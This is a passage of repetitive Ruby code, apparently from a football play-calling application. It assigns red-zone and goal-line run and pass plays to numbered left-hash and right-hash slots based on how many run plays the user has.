= self.user.s_name9 + ' - Pass'\n else num_rzoner > 1\n rzonel_s2 = rrzl2\n end\n\n #rzonel_s3\n case num_rzoner\n when 0 then rzonel_s3 = przl3 \n when 1 then rzonel_s3 = przl1\n when 2 then rzonel_s3 = self.user.s_name9 + ' - Pass'\n when 3..100 then rzonel_s3 = rrzl3\n end\n\n #rzonel_s4\n case num_rzoner\n when 0 then rzonel_s4 = przl4 \n when 1 then rzonel_s4 = przl2\n when 2 then rzonel_s4 = przl1\n when 3 then rzonel_s4 = self.user.s_name9 + ' - Pass'\n when 4..100 then rzonel_s4 = rrzl4\n end\n\n #rzonel_s5\n case num_rzoner\n when 0 then rzonel_s5 = przl5 \n when 1 then rzonel_s5 = przl3\n when 2 then rzonel_s5 = przl2\n when 3 then rzonel_s5 = przl1\n when 4 then rzonel_s5 = self.user.s_name9 + ' - Pass'\n when 5..100 then rzonel_s5 = rrzl5\n end\n\n #rzonel_s6\n case num_rzoner\n when 0 then rzonel_s6 = przl6 \n when 1 then rzonel_s6 = przl4\n when 2 then rzonel_s6 = przl3\n when 3 then rzonel_s6 = przl2\n when 4 then rzonel_s6 = przl1\n when 5 then rzonel_s6 = self.user.s_name9 + ' - Pass'\n when 6..100 then rzonel_s6 = rrzl6\n end\n\n #rzonel_s7\n case num_rzoner\n when 0 then rzonel_s7 = przl7 \n when 1 then rzonel_s7 = przl5\n when 2 then rzonel_s7 = przl4\n when 3 then rzonel_s7 = przl3\n when 4 then rzonel_s7 = przl2\n when 5 then rzonel_s7 = przl1\n when 6 then rzonel_s7 = self.user.s_name9 + ' - Pass'\n when 7..100 then rzonel_s7 = rrzl7\n end\n\n #rzonel_s8\n case num_rzoner\n when 0 then rzonel_s8 = przl8 \n when 1 then rzonel_s8 = przl6\n when 2 then rzonel_s8 = przl5\n when 3 then rzonel_s8 = przl4\n when 4 then rzonel_s8 = przl3\n when 5 then rzonel_s8 = przl2\n when 6 then rzonel_s8 = przl1\n when 7 then rzonel_s8 = self.user.s_name9 + ' - Pass'\n when 8..100 then rzonel_s8 = rrzl8\n end\n\n #rzonel_s9\n case num_rzoner\n when 0 then rzonel_s9 = przl9 \n when 1 then rzonel_s9 = przl7\n when 2 then rzonel_s9 = przl6\n when 3 then rzonel_s9 = przl5\n when 4 then rzonel_s9 = przl4\n when 5 then rzonel_s9 = przl3\n when 6 then rzonel_s9 = przl2\n when 7 then rzonel_s9 = przl1\n when 8 then rzonel_s9 = self.user.s_name9 + ' - Pass'\n when 9..100 then rzonel_s9 = rrzl9\n end\n\n #rzonel_s10\n case num_rzoner\n when 0 then rzonel_s10 = przl10 \n when 1 then rzonel_s10 = przl8\n when 2 then rzonel_s10 = przl7\n when 3 then rzonel_s10 = przl6\n when 4 then rzonel_s10 = przl5\n when 5 then rzonel_s10 = przl4\n when 6 then rzonel_s10 = przl3\n when 7 then rzonel_s10 = przl2\n when 8 then rzonel_s10 = przl1\n when 9 then rzonel_s10 = self.user.s_name9 + ' - Pass'\n when 10..100 then rzonel_s10 = rrzl10\n end\n\n #rzonel_s11\n case num_rzoner\n when 0 then rzonel_s11 = przl11 \n when 1 then rzonel_s11 = przl9\n when 2 then rzonel_s11 = przl8\n when 3 then rzonel_s11 = przl7\n when 4 then rzonel_s11 = przl6\n when 5 then rzonel_s11 = przl5\n when 6 then rzonel_s11 = przl4\n when 7 then rzonel_s11 = przl3\n when 8 then rzonel_s11 = przl2\n when 9 then rzonel_s11 = przl1\n when 10 then rzonel_s11 = self.user.s_name9 + ' - Pass'\n when 11..100 then rzonel_s11 = rrzl11\n end\n\n #rzonel_s12\n case num_rzoner\n when 0 then rzonel_s12 = przl12 \n when 1 then rzonel_s12 = przl10\n when 2 then rzonel_s12 = przl9\n when 3 then rzonel_s12 = przl8\n when 4 then rzonel_s12 = przl7\n when 5 then rzonel_s12 = przl6\n when 6 then rzonel_s12 = przl5\n when 7 then rzonel_s12 = przl4\n when 8 then rzonel_s12 = przl3\n when 9 then rzonel_s12 = przl2\n when 10 then rzonel_s12 = przl1\n when 11 then rzonel_s12 = self.user.s_name9 + ' - Pass'\n when 12..100 then rzonel_s12 = rrzl12\n end\n\n #rzonel_s13\n case num_rzoner\n when 0 then rzonel_s13 = przl13 \n when 1 then rzonel_s13 = przl11\n when 2 then rzonel_s13 = przl10\n when 3 then rzonel_s13 = przl9\n when 4 then rzonel_s13 = przl8\n when 5 then rzonel_s13 = przl7\n when 6 then rzonel_s13 = przl6\n when 7 then rzonel_s13 = przl5\n when 8 then rzonel_s13 = przl4\n when 9 then rzonel_s13 = przl3\n when 10 then rzonel_s13 = przl2\n when 11 then rzonel_s13 = przl1\n when 12 then rzonel_s13 = self.user.s_name9 + ' - Pass'\n when 13..100 then rzonel_s13 = rrzl13\n end\n\n #rzonel_s14\n case num_rzoner\n when 0 then rzonel_s14 = przl14 \n when 1 then rzonel_s14 = przl12\n when 2 then rzonel_s14 = przl11\n when 3 then rzonel_s14 = przl10\n when 4 then rzonel_s14 = przl9\n when 5 then rzonel_s14 = przl8\n when 6 then rzonel_s14 = przl7\n when 7 then rzonel_s14 = przl6\n when 8 then rzonel_s14 = przl5\n when 9 then rzonel_s14 = przl4\n when 10 then rzonel_s14 = przl3\n when 11 then rzonel_s14 = przl2\n when 12 then rzonel_s14 = przl1 \n when 13 then rzonel_s14 = self.user.s_name9 + ' - Pass'\n when 14..100 then rzonel_s14 = rrzl14\n end\n\n #rzonel_s15\n case num_rzoner\n when 0 then rzonel_s15 = przl15 \n when 1 then rzonel_s15 = przl13\n when 2 then rzonel_s15 = przl12\n when 3 then rzonel_s15 = przl11\n when 4 then rzonel_s15 = przl10\n when 5 then rzonel_s15 = przl9\n when 6 then rzonel_s15 = przl8\n when 7 then rzonel_s15 = przl7\n when 8 then rzonel_s15 = przl6\n when 9 then rzonel_s15 = przl5\n when 10 then rzonel_s15 = przl4\n when 11 then rzonel_s15 = przl3\n when 12 then rzonel_s15 = przl2\n when 13 then rzonel_s15 = przl1 \n when 14..100 then rzonel_s15 = rrzl15\n end \n\n\n #Right Hash\n # rzoner_s0 would always be blank\n\n #rzoner_s1 \n if num_rzoner > 0\n rzoner_s1 = rrzr1\n else\n rzoner_s1 = przr1\n end\n\n #rzoner_s2\n if num_rzoner == 0\n rzoner_s2 = przr2\n elsif num_rzoner == 1\n rzoner_s2 = ''\n else num_rzoner > 1\n rzoner_s2 = rrzr2\n end\n\n #rzoner_s3\n case num_rzoner\n when 0 then rzoner_s3 = przr3 \n when 1 then rzoner_s3 = przr1\n when 2 then rzoner_s3 = ''\n when 3..100 then rzoner_s3 = rrzr3\n end\n\n #rzoner_s4\n case num_rzoner\n when 0 then rzoner_s4 = przr4 \n when 1 then rzoner_s4 = przr2\n when 2 then rzoner_s4 = przr1\n when 3 then ''\n when 4..100 then rzoner_s4 = rrzr4\n end\n\n #rzoner_s5\n case num_rzoner\n when 0 then rzoner_s5 = przr5 \n when 1 then rzoner_s5 = przr3\n when 2 then rzoner_s5 = przr2\n when 3 then rzoner_s5 = przr1\n when 4 then rzoner_s5 = ''\n when 5..100 then rzoner_s5 = rrzr5\n end\n\n #rzoner_s6\n case num_rzoner\n when 0 then rzoner_s6 = przr6 \n when 1 then rzoner_s6 = przr4\n when 2 then rzoner_s6 = przr3\n when 3 then rzoner_s6 = przr2\n when 4 then rzoner_s6 = przr1\n when 5 then rzoner_s6 = ''\n when 6..100 then rzoner_s6 = rrzr6\n end\n\n #rzoner_s7\n case num_rzoner\n when 0 then rzoner_s7 = przr7 \n when 1 then rzoner_s7 = przr5\n when 2 then rzoner_s7 = przr4\n when 3 then rzoner_s7 = przr3\n when 4 then rzoner_s7 = przr2\n when 5 then rzoner_s7 = przr1\n when 6 then rzoner_s7 = ''\n when 7..100 then rzoner_s7 = rrzr7\n end\n\n #rzoner_s8\n case num_rzoner\n when 0 then rzoner_s8 = przr8 \n when 1 then rzoner_s8 = przr6\n when 2 then rzoner_s8 = przr5\n when 3 then rzoner_s8 = przr4\n when 4 then rzoner_s8 = przr3\n when 5 then rzoner_s8 = przr2\n when 6 then rzoner_s8 = przr1\n when 7 then rzoner_s8 = ''\n when 8..100 then rzoner_s8 = rrzr8\n end\n\n #rzoner_s9\n case num_rzoner\n when 0 then rzoner_s9 = przr9 \n when 1 then rzoner_s9 = przr7\n when 2 then rzoner_s9 = przr6\n when 3 then rzoner_s9 = przr5\n when 4 then rzoner_s9 = przr4\n when 5 then rzoner_s9 = przr3\n when 6 then rzoner_s9 = przr2\n when 7 then rzoner_s9 = przr1\n when 8 then rzoner_s9 = ''\n when 9..100 then rzoner_s9 = rrzr9\n end\n\n #rzoner_s10\n case num_rzoner\n when 0 then rzoner_s10 = przr10 \n when 1 then rzoner_s10 = przr8\n when 2 then rzoner_s10 = przr7\n when 3 then rzoner_s10 = przr6\n when 4 then rzoner_s10 = przr5\n when 5 then rzoner_s10 = przr4\n when 6 then rzoner_s10 = przr3\n when 7 then rzoner_s10 = przr2\n when 8 then rzoner_s10 = przr1\n when 9 then rzoner_s10 = ''\n when 10..100 then rzoner_s10 = rrzr10\n end\n\n #rzoner_s11\n case num_rzoner\n when 0 then rzoner_s11 = przr11 \n when 1 then rzoner_s11 = przr9\n when 2 then rzoner_s11 = przr8\n when 3 then rzoner_s11 = przr7\n when 4 then rzoner_s11 = przr6\n when 5 then rzoner_s11 = przr5\n when 6 then rzoner_s11 = przr4\n when 7 then rzoner_s11 = przr3\n when 8 then rzoner_s11 = przr2\n when 9 then rzoner_s11 = przr1\n when 10 then rzoner_s11 = ''\n when 11..100 then rzoner_s11 = rrzr11\n end\n\n #rzoner_s12\n case num_rzoner\n when 0 then rzoner_s12 = przr12 \n when 1 then rzoner_s12 = przr10\n when 2 then rzoner_s12 = przr9\n when 3 then rzoner_s12 = przr8\n when 4 then rzoner_s12 = przr7\n when 5 then rzoner_s12 = przr6\n when 6 then rzoner_s12 = przr5\n when 7 then rzoner_s12 = przr4\n when 8 then rzoner_s12 = przr3\n when 9 then rzoner_s12 = przr2\n when 10 then rzoner_s12 = przr1\n when 11 then rzoner_s12 = ''\n when 12..100 then rzoner_s12 = rrzr12\n end\n\n #rzoner_s13\n case num_rzoner\n when 0 then rzoner_s13 = przr13 \n when 1 then rzoner_s13 = przr11\n when 2 then rzoner_s13 = przr10\n when 3 then rzoner_s13 = przr9\n when 4 then rzoner_s13 = przr8\n when 5 then rzoner_s13 = przr7\n when 6 then rzoner_s13 = przr6\n when 7 then rzoner_s13 = przr5\n when 8 then rzoner_s13 = przr4\n when 9 then rzoner_s13 = przr3\n when 10 then rzoner_s13 = przr2\n when 11 then rzoner_s13 = przr1\n when 12 then rzoner_s13 = ''\n when 13..100 then rzoner_s13 = rrzr13\n end\n\n #rzoner_s14\n case num_rzoner\n when 0 then rzoner_s14 = przr14 \n when 1 then rzoner_s14 = przr12\n when 2 then rzoner_s14 = przr11\n when 3 then rzoner_s14 = przr10\n when 4 then rzoner_s14 = przr9\n when 5 then rzoner_s14 = przr8\n when 6 then rzoner_s14 = przr7\n when 7 then rzoner_s14 = przr6\n when 8 then rzoner_s14 = przr5\n when 9 then rzoner_s14 = przr4\n when 10 then rzoner_s14 = przr3\n when 11 then rzoner_s14 = przr2\n when 12 then rzoner_s14 = przr1 \n when 13 then rzoner_s14 = ''\n when 14..100 then rzoner_s14 = rrzr14\n end\n\n #rzoner_s15\n case num_rzoner\n when 0 then rzoner_s15 = przr15 \n when 1 then rzoner_s15 = przr13\n when 2 then rzoner_s15 = przr12\n when 3 then rzoner_s15 = przr11\n when 4 then rzoner_s15 = przr10\n when 5 then rzoner_s15 = przr9\n when 6 then rzoner_s15 = przr8\n when 7 then rzoner_s15 = przr7\n when 8 then rzoner_s15 = przr6\n when 9 then rzoner_s15 = przr5\n when 10 then rzoner_s15 = przr4\n when 11 then rzoner_s15 = przr3\n when 12 then rzoner_s15 = przr2\n when 13 then rzoner_s15 = przr1 \n when 14..100 then rzoner_s15 = rrzr15\n end\n\n #----------End Redzone---------- \n\n #----------Goal Line----------\n goalines = event.plays.where('situation10 = ?', true)\n \n rungoalines = goalines.where('play_type = ?', 'Run')\n rungoalinesLeft = rungoalines.where('hash_mark = ?', 'Left')\n rungoalinesRight = rungoalines.where('hash_mark = ?', 'Right')\n \n passgoalines = goalines.where('play_type = ?', 'Pass')\n passgoalinesLeft = passgoalines.where('hash_mark = ?', 'Left')\n passgoalinesRight = passgoalines.where('hash_mark = ?', 'Right')\n\n #Run Left Hash\n unless rungoalinesLeft[0].nil? \n rgll1 = rungoalinesLeft[0].fullname \n end\n unless rungoalinesLeft[1].nil? \n rgll2 = rungoalinesLeft[1].fullname \n end\n unless rungoalinesLeft[2].nil? \n rgll3 = rungoalinesLeft[2].fullname \n end\n unless rungoalinesLeft[3].nil? \n rgll4 = rungoalinesLeft[3].fullname \n end\n unless rungoalinesLeft[4].nil? \n rgll5 = rungoalinesLeft[4].fullname\n end\n unless rungoalinesLeft[5].nil? \n rgll6 = rungoalinesLeft[5].fullname \n end\n unless rungoalinesLeft[6].nil? \n rgll7 = rungoalinesLeft[6].fullname\n end \n unless rungoalinesLeft[7].nil? \n rgll8 = rungoalinesLeft[7].fullname \n end\n unless rungoalinesLeft[8].nil? \n rgll9 = rungoalinesLeft[8].fullname \n end\n unless rungoalinesLeft[9].nil? \n rgll10 = rungoalinesLeft[9].fullname \n end\n unless rungoalinesLeft[10].nil? \n rgll11 = rungoalinesLeft[10].fullname \n end\n unless rungoalinesLeft[11].nil? \n rgll12 = rungoalinesLeft[11].fullname\n end\n unless rungoalinesLeft[12].nil? \n rgll13 = rungoalinesLeft[12].fullname \n end\n unless rungoalinesLeft[13].nil? \n rgll14 = rungoalinesLeft[13].fullname\n end \n unless rungoalinesLeft[14].nil? \n rgll15 = rungoalinesLeft[14].fullname\n end\n\n #Run Right Hash\n unless rungoalinesRight[0].nil? \n rglr1 = rungoalinesRight[0].fullname \n end\n unless rungoalinesRight[1].nil? \n rglr2 = rungoalinesRight[1].fullname \n end\n unless rungoalinesRight[2].nil? \n rglr3 = rungoalinesRight[2].fullname \n end\n unless rungoalinesRight[3].nil? \n rglr4 = rungoalinesRight[3].fullname \n end\n unless rungoalinesRight[4].nil? \n rglr5 = rungoalinesRight[4].fullname\n end\n unless rungoalinesRight[5].nil? \n rglr6 = rungoalinesRight[5].fullname \n end\n unless rungoalinesRight[6].nil? \n rglr7 = rungoalinesRight[6].fullname\n end \n unless rungoalinesRight[7].nil? \n rglr8 = rungoalinesRight[7].fullname \n end\n unless rungoalinesRight[8].nil? \n rglr9 = rungoalinesRight[8].fullname \n end\n unless rungoalinesRight[9].nil? \n rglr10 = rungoalinesRight[9].fullname \n end\n unless rungoalinesRight[10].nil? \n rglr11 = rungoalinesRight[10].fullname \n end\n unless rungoalinesRight[11].nil? \n rglr12 = rungoalinesRight[11].fullname\n end\n unless rungoalinesRight[12].nil? \n rglr13 = rungoalinesRight[12].fullname \n end\n unless rungoalinesRight[13].nil? \n rglr14 = rungoalinesRight[13].fullname\n end \n unless rungoalinesRight[14].nil? \n rglr15 = rungoalinesRight[14].fullname\n end \n\n #Pass Left Hash\n unless passgoalinesLeft[0].nil? \n pgll1 = passgoalinesLeft[0].fullname \n end\n unless passgoalinesLeft[1].nil? \n pgll2 = passgoalinesLeft[1].fullname \n end\n unless passgoalinesLeft[2].nil? \n pgll3 = passgoalinesLeft[2].fullname \n end\n unless passgoalinesLeft[3].nil? \n pgll4 = passgoalinesLeft[3].fullname \n end\n unless passgoalinesLeft[4].nil? \n pgll5 = passgoalinesLeft[4].fullname \n end\n unless passgoalinesLeft[5].nil? \n pgll6 = passgoalinesLeft[5].fullname \n end \n unless passgoalinesLeft[6].nil? \n pgll7 = passgoalinesLeft[6].fullname \n end \n unless passgoalinesLeft[7].nil? \n pgll8 = passgoalinesLeft[7].fullname \n end\n unless passgoalinesLeft[8].nil? \n pgll9 = passgoalinesLeft[8].fullname \n end\n unless passgoalinesLeft[9].nil? \n pgll10 = passgoalinesLeft[9].fullname \n end\n unless passgoalinesLeft[10].nil? \n pgll11 = passgoalinesLeft[10].fullname \n end\n unless passgoalinesLeft[11].nil? \n pgll12 = passgoalinesLeft[11].fullname \n end\n unless passgoalinesLeft[12].nil? \n pgll13 = passgoalinesLeft[12].fullname \n end \n unless passgoalinesLeft[13].nil? \n pgll14 = passgoalinesLeft[13].fullname \n end \n unless passgoalinesLeft[14].nil? \n pgll15 = passgoalinesLeft[14].fullname \n end \n\n #Pass Right Hash\n unless passgoalinesRight[0].nil? \n pglr1 = passgoalinesRight[0].fullname \n end\n unless passgoalinesRight[1].nil? \n pglr2 = passgoalinesRight[1].fullname \n end\n unless passgoalinesRight[2].nil? \n pglr3 = passgoalinesRight[2].fullname \n end\n unless passgoalinesRight[3].nil? \n pglr4 = passgoalinesRight[3].fullname \n end\n unless passgoalinesRight[4].nil? \n pglr5 = passgoalinesRight[4].fullname \n end\n unless passgoalinesRight[5].nil? \n pglr6 = passgoalinesRight[5].fullname \n end\n unless passgoalinesRight[6].nil? \n pglr7 = passgoalinesRight[6].fullname \n end \n unless passgoalinesRight[7].nil? \n pglr8 = passgoalinesRight[7].fullname \n end\n unless passgoalinesRight[8].nil? \n pglr9 = passgoalinesRight[8].fullname \n end\n unless passgoalinesRight[9].nil? \n pglr10 = passgoalinesRight[9].fullname \n end\n unless passgoalinesRight[10].nil? \n pglr11 = passgoalinesRight[10].fullname \n end\n unless passgoalinesRight[11].nil? \n pglr12 = passgoalinesRight[11].fullname \n end\n unless passgoalinesRight[12].nil? \n pglr13 = passgoalinesRight[12].fullname \n end\n unless passgoalinesRight[13].nil? \n pglr14 = passgoalinesRight[13].fullname \n end \n unless passgoalinesRight[14].nil? \n pglr15 = passgoalinesRight[14].fullname \n end \n\n #Number of user's run plays in situation 10\n num_gliner = self.user.s_name10_num_run\n\n #Left Hash\n # glinel_s0 \n if num_gliner > 0\n glinel_s0 = self.user.s_name10 + ' - Run'\n else\n glinel_s0 = self.user.s_name10 + ' - Pass'\n end\n\n #glinel_s1 \n if num_gliner > 0\n glinel_s1 = rgll1\n else\n glinel_s1 = pgll1\n end\n\n #glinel_s2\n if num_gliner == 0\n glinel_s2 = pgll2\n elsif num_gliner == 1\n glinel_s2 = self.user.s_name10 + ' - Pass'\n else num_gliner > 1\n glinel_s2 = rgll2\n end\n\n #glinel_s3\n case num_gliner\n when 0 then glinel_s3 = pgll3 \n when 1 then glinel_s3 = pgll1\n when 2 then glinel_s3 = self.user.s_name10 + ' - Pass'\n when 3..100 then glinel_s3 = rgll3\n end\n\n #glinel_s4\n case num_gliner\n when 0 then glinel_s4 = pgll4 \n when 1 then glinel_s4 = pgll2\n when 2 then glinel_s4 = pgll1\n when 3 then glinel_s4 = self.user.s_name10 + ' - Pass'\n when 4..100 then glinel_s4 = rgll4\n end\n\n #glinel_s5\n case num_gliner\n when 0 then glinel_s5 = pgll5 \n when 1 then glinel_s5 = pgll3\n when 2 then glinel_s5 = pgll2\n when 3 then glinel_s5 = pgll1\n when 4 then glinel_s5 = self.user.s_name10 + ' - Pass'\n when 5..100 then glinel_s5 = rgll5\n end\n\n #glinel_s6\n case num_gliner\n when 0 then glinel_s6 = pgll6 \n when 1 then glinel_s6 = pgll4\n when 2 then glinel_s6 = pgll3\n when 3 then glinel_s6 = pgll2\n when 4 then glinel_s6 = pgll1\n when 5 then glinel_s6 = self.user.s_name10 + ' - Pass'\n when 6..100 then glinel_s6 = rgll6\n end\n\n #glinel_s7\n case num_gliner\n when 0 then glinel_s7 = pgll7 \n when 1 then glinel_s7 = pgll5\n when 2 then glinel_s7 = pgll4\n when 3 then glinel_s7 = pgll3\n when 4 then glinel_s7 = pgll2\n when 5 then glinel_s7 = pgll1\n when 6 then glinel_s7 = self.user.s_name10 + ' - Pass'\n when 7..100 then glinel_s7 = rgll7\n end\n\n #glinel_s8\n case num_gliner\n when 0 then glinel_s8 = pgll8 \n when 1 then glinel_s8 = pgll6\n when 2 then glinel_s8 = pgll5\n when 3 then glinel_s8 = pgll4\n when 4 then glinel_s8 = pgll3\n when 5 then glinel_s8 = pgll2\n when 6 then glinel_s8 = pgll1\n when 7 then glinel_s8 = self.user.s_name10 + ' - Pass'\n when 8..100 then glinel_s8 = rgll8\n end\n\n #glinel_s9\n case num_gliner\n when 0 then glinel_s9 = pgll9 \n when 1 then glinel_s9 = pgll7\n when 2 then glinel_s9 = pgll6\n when 3 then glinel_s9 = pgll5\n when 4 then glinel_s9 = pgll4\n when 5 then glinel_s9 = pgll3\n when 6 then glinel_s9 = pgll2\n when 7 then glinel_s9 = pgll1\n when 8 then glinel_s9 = self.user.s_name10 + ' - Pass'\n when 9..100 then glinel_s9 = rgll9\n end\n\n #glinel_s10\n case num_gliner\n when 0 then glinel_s10 = pgll10 \n when 1 then glinel_s10 = pgll8\n when 2 then glinel_s10 = pgll7\n when 3 then glinel_s10 = pgll6\n when 4 then glinel_s10 = pgll5\n when 5 then glinel_s10 = pgll4\n when 6 then glinel_s10 = pgll3\n when 7 then glinel_s10 = pgll2\n when 8 then glinel_s10 = pgll1\n when 9 then glinel_s10 = self.user.s_name10 + ' - Pass'\n when 10..100 then glinel_s10 = rgll10\n end\n\n #glinel_s11\n case num_gliner\n when 0 then glinel_s11 = pgll11 \n when 1 then glinel_s11 = pgll9\n when 2 then glinel_s11 = pgll8\n when 3 then glinel_s11 = pgll7\n when 4 then glinel_s11 = pgll6\n when 5 then glinel_s11 = pgll5\n when 6 then glinel_s11 = pgll4\n when 7 then glinel_s11 = pgll3\n when 8 then glinel_s11 = pgll2\n when 9 then glinel_s11 = pgll1\n when 10 then glinel_s11 = self.user.s_name10 + ' - Pass'\n when 11..100 then glinel_s11 = rgll11\n end\n\n #glinel_s12\n case num_gliner\n when 0 then glinel_s12 = pgll12 \n when 1 then glinel_s12 = pgll10\n when 2 then glinel_s12 = pgll9\n when 3 then glinel_s12 = pgll8\n when 4 then glinel_s12 = pgll7\n when 5 then glinel_s12 = pgll6\n when 6 then glinel_s12 = pgll5\n when 7 then glinel_s12 = pgll4\n when 8 then glinel_s12 = pgll3\n when 9 then glinel_s12 = pgll2\n when 10 then glinel_s12 = pgll1\n when 11 then glinel_s12 = self.user.s_name10 + ' - Pass'\n when 12..100 then glinel_s12 = rgll12\n end\n\n #glinel_s13\n case num_gliner\n when 0 then glinel_s13 = pgll13 \n when 1 then glinel_s13 = pgll11\n when 2 then glinel_s13 = pgll10\n when 3 then glinel_s13 = pgll9\n when 4 then glinel_s13 = pgll8\n when 5 then glinel_s13 = pgll7\n when 6 then glinel_s13 = pgll6\n when 7 then glinel_s13 = pgll5\n when 8 then glinel_s13 = pgll4\n when 9 then glinel_s13 = pgll3\n when 10 then glinel_s13 = pgll2\n when 11 then glinel_s13 = pgll1\n when 12 then glinel_s13 = self.user.s_name10 + ' - Pass'\n when 13..100 then glinel_s13 = rgll13\n end\n\n #glinel_s14\n case num_gliner\n when 0 then glinel_s14 = pgll14 \n when 1 then glinel_s14 = pgll12\n when 2 then glinel_s14 = pgll11\n when 3 then glinel_s14 = pgll10\n when 4 then glinel_s14 = pgll9\n when 5 then glinel_s14 = pgll8\n when 6 then glinel_s14 = pgll7\n when 7 then glinel_s14 = pgll6\n when 8 then glinel_s14 = pgll5\n when 9 then glinel_s14 = pgll4\n when 10 then glinel_s14 = pgll3\n when 11 then glinel_s14 = pgll2\n when 12 then glinel_s14 = pgll1 \n when 13 then glinel_s14 = self.user.s_name10 + ' - Pass'\n when 14..100 then glinel_s14 = rgll14\n end\n\n #glinel_s15\n case num_gliner\n when 0 then glinel_s15 = pgll15 \n when 1 then glinel_s15 = pgll13\n when 2 then glinel_s15 = pgll12\n when 3 then glinel_s15 = pgll11\n when 4 then glinel_s15 = pgll10\n when 5 then glinel_s15 = pgll9\n when 6 then glinel_s15 = pgll8\n when 7 then glinel_s15 = pgll7\n when 8 then glinel_s15 = pgll6\n when 9 then glinel_s15 = pgll5\n when 10 then glinel_s15 = pgll4\n when 11 then glinel_s15 = pgll3\n when 12 then glinel_s15 = pgll2\n when 13 then glinel_s15 = pgll1 \n when 14..100 then glinel_s15 = rgll15\n end \n\n\n #Right Hash\n # gliner_s0 would always be blank\n\n #gliner_s1 \n if num_gliner > 0\n gliner_s1 = rglr1\n else\n gliner_s1 = pglr1\n end\n\n #gliner_s2\n if num_gliner == 0\n gliner_s2 = pglr2\n elsif num_gliner == 1\n gliner_s2 = ''\n else num_gliner > 1\n gliner_s2 = rglr2\n end\n\n #gliner_s3\n case num_gliner\n when 0 then gliner_s3 = pglr3 \n when 1 then gliner_s3 = pglr1\n when 2 then gliner_s3 = ''\n when 3..100 then gliner_s3 = rglr3\n end\n\n #gliner_s4\n case num_gliner\n when 0 then gliner_s4 = pglr4 \n when 1 then gliner_s4 = pglr2\n when 2 then gliner_s4 = pglr1\n when 3 then ''\n when 4..100 then gliner_s4 = rglr4\n end\n\n #gliner_s5\n case num_gliner\n when 0 then gliner_s5 = pglr5 \n when 1 then gliner_s5 = pglr3\n when 2 then gliner_s5 = pglr2\n when 3 then gliner_s5 = pglr1\n when 4 then gliner_s5 = ''\n when 5..100 then gliner_s5 = rglr5\n end\n\n #gliner_s6\n case num_gliner\n when 0 then gliner_s6 = pglr6 \n when 1 then gliner_s6 = pglr4\n when 2 then gliner_s6 = pglr3\n when 3 then gliner_s6 = pglr2\n when 4 then gliner_s6 = pglr1\n when 5 then gliner_s6 = ''\n when 6..100 then gliner_s6 = rglr6\n end\n\n #gliner_s7\n case num_gliner\n when 0 then gliner_s7 = pglr7 \n when 1 then gliner_s7 = pglr5\n when 2 then gliner_s7 = pglr4\n when 3 then gliner_s7 = pglr3\n when 4 then gliner_s7 = pglr2\n when 5 then gliner_s7 = pglr1\n when 6 then gliner_s7 = ''\n when 7..100 then gliner_s7 = rglr7\n end\n\n #gliner_s8\n case num_gliner\n when 0 then gliner_s8 = pglr8 \n when 1 then gliner_s8 = pglr6\n when 2 then gliner_s8 = pglr5\n when 3 then gliner_s8 = pglr4\n when 4 then gliner_s8 = pglr3\n when 5 then gliner_s8 = pglr2\n when 6 then gliner_s8 = pglr1\n when 7 then gliner_s8 = ''\n when 8..100 then gliner_s8 = rglr8\n end\n\n #gliner_s9\n case num_gliner\n when 0 then gliner_s9 = pglr9 \n when 1 then gliner_s9 = pglr7\n when 2 then gliner_s9 = pglr6\n when 3 then gliner_s9 = pglr5\n when 4 then gliner_s9 = pglr4\n when 5 then gliner_s9 = pglr3\n when 6 then gliner_s9 = pglr2\n when 7 then gliner_s9 = pglr1\n when 8 then gliner_s9 = ''\n when 9..100 then gliner_s9 = rglr9\n end\n\n #gliner_s10\n case num_gliner\n when 0 then gliner_s10 = pglr10 \n when 1 then gliner_s10 = pglr8\n when 2 then gliner_s10 = pglr7\n when 3 then gliner_s10 = pglr6\n when 4 then gliner_s10 = pglr5\n when 5 then gliner_s10 = pglr4\n when 6 then gliner_s10 = pglr3\n when 7 then gliner_s10 = pglr2\n when 8 then gliner_s10 = pglr1\n when 9 then gliner_s10 = ''\n when 10..100 then gliner_s10 = rglr10\n end\n\n #gliner_s11\n case num_gliner\n when 0 then gliner_s11 = pglr11 \n when 1 then gliner_s11 = pglr9\n when 2 then gliner_s11 = pglr8\n when 3 then gliner_s11 = pglr7\n when 4 then gliner_s11 = pglr6\n when 5 then gliner_s11 = pglr5\n when 6 then gliner_s11 = pglr4\n when 7 then gliner_s11 = pglr3\n when 8 then gliner_s11 = pglr2\n when 9 then gliner_s11 = pglr1\n when 10 then gliner_s11 = ''\n when 11..100 then gliner_s11 = rglr11\n end\n\n #gliner_s12\n case num_gliner\n when 0 then gliner_s12 = pglr12 \n when 1 then gliner_s12 = pglr10\n when 2 then gliner_s12 = pglr9\n when 3 then gliner_s12 = pglr8\n when 4 then gliner_s12 = pglr7\n when 5 then gliner_s12 = pglr6\n when 6 then gliner_s12 = pglr5\n when 7 then gliner_s12 = pglr4\n when 8 then gliner_s12 = pglr3\n when 9 then gliner_s12 = pglr2\n when 10 then gliner_s12 = pglr1\n when 11 then gliner_s12 = ''\n when 12..100 then gliner_s12 = rglr12\n end\n\n #gliner_s13\n case num_gliner\n when 0 then gliner_s13 = pglr13 \n when 1 then gliner_s13 = pglr11\n when 2 then gliner_s13 = pglr10\n when 3 then gliner_s13 = pglr9\n when 4 then gliner_s13 = pglr8\n when 5 then gliner_s13 = pglr7\n when 6 then gliner_s13 = pglr6\n when 7 then gliner_s13 = pglr5\n when 8 then gliner_s13 = pglr4\n when 9 then gliner_s13 = pglr3\n when 10 then gliner_s13 = pglr2\n when 11 then gliner_s13 = pglr1\n when 12 then gliner_s13 = ''\n when 13..100 then gliner_s13 = rglr13\n end\n\n #gliner_s14\n case num_gliner\n when 0 then gliner_s14 = pglr14 \n when 1 then gliner_s14 = pglr12\n when 2 then gliner_s14 = pglr11\n when 3 then gliner_s14 = pglr10\n when 4 then gliner_s14 = pglr9\n when 5 then gliner_s14 = pglr8\n when 6 then gliner_s14 = pglr7\n when 7 then gliner_s14 = pglr6\n when 8 then gliner_s14 = pglr5\n when 9 then gliner_s14 = pglr4\n when 10 then gliner_s14 = pglr3\n when 11 then gliner_s14 = pglr2\n when 12 then gliner_s14 = pglr1 \n when 13 then gliner_s14 = ''\n when 14..100 then gliner_s14 = rglr14\n end\n\n #gliner_s15\n case num_gliner\n when 0 then gliner_s15 = pglr15 \n when 1 then gliner_s15 = pglr13\n when 2 then gliner_s15 = pglr12\n when 3 then gliner_s15 = pglr11\n when 4 then gliner_s15 = pglr10\n when 5 then gliner_s15 = pglr9\n when 6 then gliner_s15 = pglr8\n when 7 then gliner_s15 = pglr7\n when 8 then gliner_s15 = pglr6\n when 